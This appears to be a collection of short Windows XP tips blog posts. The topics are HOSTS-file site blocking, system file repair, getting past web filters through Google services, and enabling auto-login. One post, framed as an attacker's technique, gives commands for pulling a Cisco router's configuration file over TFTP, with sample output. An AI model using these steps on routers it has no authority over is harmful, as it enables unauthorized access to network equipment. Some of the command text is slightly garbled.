Jan 30
Steps

1] Browse C:\WINDOWS\system32\drivers\etc

2] Find the file named “HOSTS”

3] Open it in notepad

4] Under “127.0.0.1 localhost” Add 127.0.0.2 www.sitename.com , and that site will no longer be accessable.

5] Done!

example :

127.0.0.1 localhost

127.0.0.2 www.sitename.com

www.sitename.com is now unaccessable

For every site after that you want to add, just add “1″ to the last number in the internal ip (127.0.0.2) and then the add like before.

ie:

127.0.0.3 www.site.com

127.0.0.4 www.examplesite.com

127.0.0.5 www.newsite.com

This also works with banner sites, just find the host name of the server with the banners and do the same thing with that one.

Hope this small tutorial could keep you going in simple way of blocking websites.

Jan 30
This tutorial has been made so people that are having problems with corrupted files, can learn how to fix them easy.

Requirement:

1. Windows XP CD

Now, follow this steps:

1. Place the xp cd in your cd/dvd drive
2. Go to start
3. run
4. type “sfc /scannow” (without “)

Now sit back and relax, it should all load and fix all your corrupted file on win XP.

Jan 30
Well, there is a useful tool called Trivial FTP (TFTP) which can be used by a attacker to hack firewalls.

How does it work?

While scanning UDP ports, you will want to pay close attention to systems with port 69 open. Cicso routers allow the use of TFTP in conjunction with network servers to read and write configuration files. The configuration files are updated whenever a router configuration is changed. If you can identify TFTP, there is a good chance that you can access the configuration file and download it.

Here are the basic steps:-

(1) Determine the router’s name. NSLookup or Ping –a can be useful.

c: \>ping -a 192.168.13.1

Pinging Router1 [192.168.13.1] with 32 bytes of data:

Reply from 192.168.13.1: bytes=32 time<10ms ttl="">
Reply from 192.168.13.1: bytes=32 time<10ms ttl="">
Reply from 192.168.13.1: bytes=32 time<10ms ttl="">
Reply from 192.168.13.1: bytes=32 time<10ms ttl="">
Ping statistics for 192.168.13.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms
(2) After the router’s name is known, you can then use TFTP to download it from the TFTP server.
c:\>tftp -I 192.168.13.1 GET router1.cfg

Transfer successful: 250 bytes in 1 second, 250 bytes/s
(3) If you are lucky, you will be rewarded with the router’s configuration file.

Jan 30
Blocked web site, huh? Need a proxy?

1) The first and most common way of using google to bypass blocked sites is just to search for the site and then clicked the “cached” link that appears on google. Easy, simple, and frequently works for static information.

2) Passing the site through google translator works well as well. Here’s the URL to use:

Code:

http://www.google.com/translate?langpair=enen&u=www.blockedsite.com

(where blockedsite.com is the site that you wish to visit)

This translates the site from english to english and works because the ip address will appear as google instead of you. Here’s a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change enen in the URL above to spanish by using eses and it still works.

3) Unique method that I have not seen described before is to search through google mobile. Google mobile will “convert as you go” very similiar to the translation method above.

Just search for your site with google mobile and click on the link it provides. Here’s is tech-recipes brought up through google mobile search. Once again, this will allow you to bypass any blocks because the IP request comes from google not for you.

Like the translation method above, google will continue to “proxy” as you continue to visit links through the site. And ya it is also useful to retrive some information from net which is currently not available.

Jan 30
Every time you start your computer, you’re prompted to enter password in order to login to Windows. You find this irritating when no one else is using your computer that is sitting at home.
Just follow a few simple steps below and you won’t be bothered by this login prompt every again!

1. Click on your Start button.

2. Go to “Run”

3. Type “control userpasswords2″ and click OK button

4. A User Account dialog box will appear. Uncheck “Users must enter a user name and password to use this computer.” and click OK button.

5. Another dialog box will appear asking you to type in the DEFAULT user account that you’d like to login whenever you start your computer. Type in the user name and password. You only need to do this once.

That’s it. Only requires 5 steps to automatically login Windows XP. Please take note that this only works if you’re trying to login locally. This feature allows other users to start your computer and use the account that you establish to automatically log on. Enabling auto logon makes your computer more convenient to use, but can pose a security risk since anyone can just turn the machine on and access your files. So be VERY sure that no one else has physical access to your computer.